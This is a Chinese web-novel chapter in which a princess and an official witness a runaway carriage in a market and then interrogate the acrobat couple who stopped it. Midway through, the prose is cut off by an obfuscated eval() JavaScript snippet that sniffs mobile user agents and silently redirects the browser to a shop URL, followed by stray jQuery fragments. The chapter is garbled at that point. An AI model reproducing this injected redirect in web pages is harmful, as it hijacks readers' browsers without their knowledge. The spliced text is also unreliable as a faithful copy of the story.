21.第二十一章 杂耍夫妻

作品:《驸马们全都想登基

    此时此刻,恰如彼时彼刻。


    司瑶光抬起车帷看去,前方唯见一辆马车的背影,镶金檀木,姿态张扬,京中仅此一家。


    “与那日如出一辙。”秦知白冷道。


    “看来又到了张家散钱的日子。跟上。”


    司瑶光放下车帷,命车夫跟在那辆马车后头。


    “它既主动上门,我们便去看看。”


    “可惜,臣原想邀殿下屈尊过府,共品新进的秋鲜。”


    司瑶光瞥他一眼,“早晚有登门之日,秦大人可要预备妥当。”


    “殿下放心,那处院落原封未动,只待殿下回去。”秦知白弯着眸子与她对望。


    ……什么回去,我只是住了几日,哪里就用得上“回”这一字了。


    她张了张口,又觉得有些小孩子气,便闭口不言。


    行过钟鼓楼,听见人声喧闹,便是进了东市。


    她在心中默默数着。


    复行一段,各色叫卖声响起:炊饼、甜汤……


    之后便是杂耍摊子的小调,清丽婉转,声音透亮,直转而上,声调愈尖,间隔愈短——


    不对!


    曲调变了!


    司瑶光心砰砰直跳,一股浓重的不祥之感笼罩着她,手心几乎是立时渗出冷汗。


    她想起来了。


    “停车!”她声嘶力竭,可却被更大的喧闹声掩盖。


    已然晚了。


    随着一声尖利的马鸣,马车倏地停住,她被秦知白急急抱下车,却见疯的并非是她们的马,而是张家的。


    那马不知受了什么刺激,眼珠赤红,四条腿不听使唤地乱动,带着身后的车厢不停颠簸。


    车内伸出一只胳膊,凌空挥舞,似乎是想抢过车夫手里的缰绳。


    周围的人有知晓利害的,大声催促着人群,让他们快跑,可偏有好信之人硬要往前抢着看热闹。


    一时间众人挤作一团,喊声夹杂着孩童的哭声四起。


    本就癫狂的马受了这般刺激,四只蹄子将路都刨得尘土飞扬,只眨眼间,便似一道闪电,直直往人群里冲。


    眼见马匹就要撞上一位腿脚不便的老人,司瑶光只觉手中衣袖一紧,一口气提到了嗓子眼。


    “吁!”


    方才还在唱曲的妇人竟从人群中腾空而起,翻身上马,从身后抽出一条皮鞭将马头拴住,两腿死死夹住马身。


    正在众人提心吊胆看她驯马之时,一柄长刀破空而来,分明对准了疯马,却擦过女子耳际,一刀砍在车厢里正与车夫争夺缰绳那人的胳膊上,霎时血流如注。


    那人捂着胳膊从车里滚落在地,却不是张有财,而是在四海楼里伙同假秀才骗人钱财的壮汉!


    手持长刀的杂耍艺人与将将治住疯马的妻子也看清了他的面容。


    壮汉尚在地上哀嚎,这夫妻二人对视一眼,竟扔了手中的家伙事,几步跃上房顶,消失在众人眼前。


    事情接二连三,发生得太快,所有人都是一头雾水。


    刚挤过去的云岫气道:“先救人啊,愣着干什么!”


    她一手扶起壮汉的腰,正要将他靠在自己身上,身旁又多了一只手,稳稳地将壮汉托起。


    孙大哥面上还带着些溅上去的新鲜血迹,冲她嘿嘿一笑。


    壮汉见了,恨道:“血,我的血!”


    “啥你的血啊,这是俺杀猪的血。”


    孙大哥满脸莫名,与云岫合力将他往自己装猪的板车上一抬,便往医馆推。


    人群这下散得飞快,孩童叫父母遮了眼,带着匆匆离场。


    司瑶光此时才长舒一口气,发觉自己手中竟又是秦知白的袖袂,另觉手下触感有些硬,原是连手腕也一并握住了。


    她慌忙松手,双颊微烫,忍不住想起方才被他掐腰抱下车的情景。


    男人的手宽厚有力,与他那张美如冠玉的脸一点也不一样……


    应该很适合去帮忙运人!


    她晃晃脑袋,去除杂念,跟着云岫她们往医馆去。


    “我们跟去看看。”


    “……”


    她没有回头,也不曾发现,身后的男人耳朵已经染上一层绯色。


    “所以只需养上几月,便能恢复如初?”


    “是,小姐。大夫说,最差也就是偶尔会感到疼痛,其他的都不影响。诶,孙大哥,你怎么了?”


    云岫推了推他的胳膊,“怎么满头大汗的,有这么累么?”


    司瑶光看去,只见他脸色发白,豆大的汗珠往下淌,心里有几分猜测。


    “俺得,得多谢小姐指点,不然今天上去的要是俺,不就白……”


    身旁医患来来往往,他闭上嘴,用手抹了一把汗。


    此前司瑶光一行人追着线索到孙大哥家,听见他与发妻密谋暗杀张有财,劝下后才得知他女儿于张家被辱一事。


    按原计划,他若今日行事,被刺的可并非张有财。届时人折进去了,仇也不得报。


    他应是因此而后怕罢。


    司瑶光微微一笑:“正因事有曲直,更当求之于律。律法,至公至正,不负于人。正所谓冤有头债有主。”


    孙大哥连连点头,这次把他唬得不轻,想必终身难忘。


    果真是事教人,一次会。


    司瑶光暗忖,有许多百姓不识字,更不通律法。是否能将某些实案示民,从而起到教化之用?


    她越想越觉得可行,在心中不住思索着方式、内容,还有最要紧的人手等事。


    直至回了秦府,她犹陷于沉思中。


    “可惜这道海米菠菜,未遇知音。”


    一双木箸夹着嫩绿的菜叶从她眼前晃过,进了秦知白之口。


    她恍然,放过碗里被她捣烂的菠菜,也夹了一箸新的送入口中。


    “菠菜既鲜又嫩,多谢秦大人美意。”


    “可惜啊,若是今日没出事,臣便能一人独享了。”秦知白替她盛了一碗竹荪汤,打趣道。


    “就说让秦大人早晚预备妥当。”


    只是未曾想,此话应得这般快。


    “是该多吃些。”


    “什么?”


    男人话音极轻,她未能辨明。


    见对方摇头,料想不是什么要紧的话,她便也不再追问。


    温热的竹荪汤鲜味醇厚,令人颇感愉悦,心神放松。


    一顿饭也算全了山珍海味,难为他备下这桌时令菜,若是不来,倒真要生几分憾意。


    纵使,她是为另一件事而来。


    司瑶光放下清口茶,一双灿若星子的眼睛望向他:“所以,你说的饭后余兴,是什么?”


    男人失笑,轻轻吐出两个字:


    “杂耍。”


    秦府一处僻静的小院内,两人由暗卫带着进了门。


    屋内已点上了烛灯,有一男一女坐于凳上,双手被锁链捆着,见到两人进来,才抬起头,脸上全是灰土。


    烛光下,司瑶光看清了两人的面容,正是那对杂耍夫妇。


    看来是暗卫追上了他们,将人关在此处,只待审问


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227434|196966||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    她盯着二人看了许久,对方或也看清了她的容貌,满脸惊喜。


    “小姐,我记得您!妾冤枉呀,妾是想救人的呀。”


    “是呦,您之前还看过小的舞刀呢,给了好多钱的,一看就晓得是位好心的小姐呀。”


    夫妇俩一句接着一句,话不知真假,态度倒是热情,晃得手上锁链嘎吱作响。


    “别想了,你们解不开的。”秦知白引着司瑶光在二人面前的椅子上坐了,话音冰冷。


    锁链声戛然而止,她这才意识到两人是在用某种“方法”,试图解开锁链。


    “此处乃是秦尚书府邸,劝你们收了那些江湖手段,从实招来。”秦知白像是在言他人府宅般,架起一条腿,右手放于桌上,气势逼人。


    “甚么手段,妾没有的呀。”“没有的,没有的。”两人面露无辜,连连摆手,这次锁链不再发出声响。


    秦知白转头看向司瑶光,她颔首,开口问道:“请问两位姓名?”


    “小姐叫小的王老三就是了。”男子堆着笑,指指身边的女子,“她嘞,叫妙音。”


    “你们每日都在东市出摊?”


    “是呀,雷打不动,赚些辛苦钱。”


    “那你们可知,那辆马车都是何时经过东市?”


    “这……”


    两人互相看了看,没有立刻答话。


    “方才还说认得我,不是记性很好么。”司瑶光也冷下脸,手指在桌上叩了叩。


    王老三双手合十拜了拜,谄笑道:“当然记得,每过几日就会来一趟,熟悉的很。”


    “是的呀,好像是,每过五日就来。”妙音补充。


    “熟悉啊……”司瑶光双眼扫过两人,兀地一拍桌子,厉声道:“那为何要对马车下手!”


    烛灯被她震得一晃,墙上的人影摇晃几下,似是畏缩了许多。


    夫妇俩瑟瑟发抖,不约而同流下眼泪,抽噎着哭冤。


    哭声委屈,还夹杂着几句听不懂的乡音,活生生是两个到京中谋生,却被权贵欺负的外乡人。


    司瑶光不为所动,继续追问:“冤枉?那为何改了曲调,又为何逃跑?”


    “小姐呀,我俩个是真的好心呀。”


    “我俩也是无奈呀。”


    妙音边哭边扯王老三的手臂,“死鬼,把这糟心事说与小姐作甚。”


    司瑶光冷眼看着两人又唱一出,不欲再做纠缠,直截了当:


    “你们认识花娘么?”


    话题忽地一转,两人面上皆是茫然之色,望之不似作伪。


    诚然,花娘乃是后有的称呼,两人若说没听过,也是平常。


    “那,你们失踪的女儿,真的不见了么。”


    司瑶光一字一句地问,眼睛牢牢盯住二人的表情。


    二人鼻翼翕动,眉头紧锁,眼中水光更甚。


    “这还能有假的?”


    “小姐你,也想拿我俩个寻乐子呀。”


    无视两人话里话外的指责,司瑶光站起身,步步紧逼:


    “我信二位。但接下来我问的,你们需得如实回答,不然,就将你们送去张家。”


    秦知白的话音也悠然而至:“再说一次,此处是秦府。而今日,或是你们最后的机会。”


    夫妻俩沉默良久,末了,妙音抹了把脸,面上那些喜怒哀乐悉数消失,只有一片死寂。


    “妾全都交代,这事的确与我们失踪的女儿相干。”


    “只是我们失踪的女儿,不是一个,是两个。”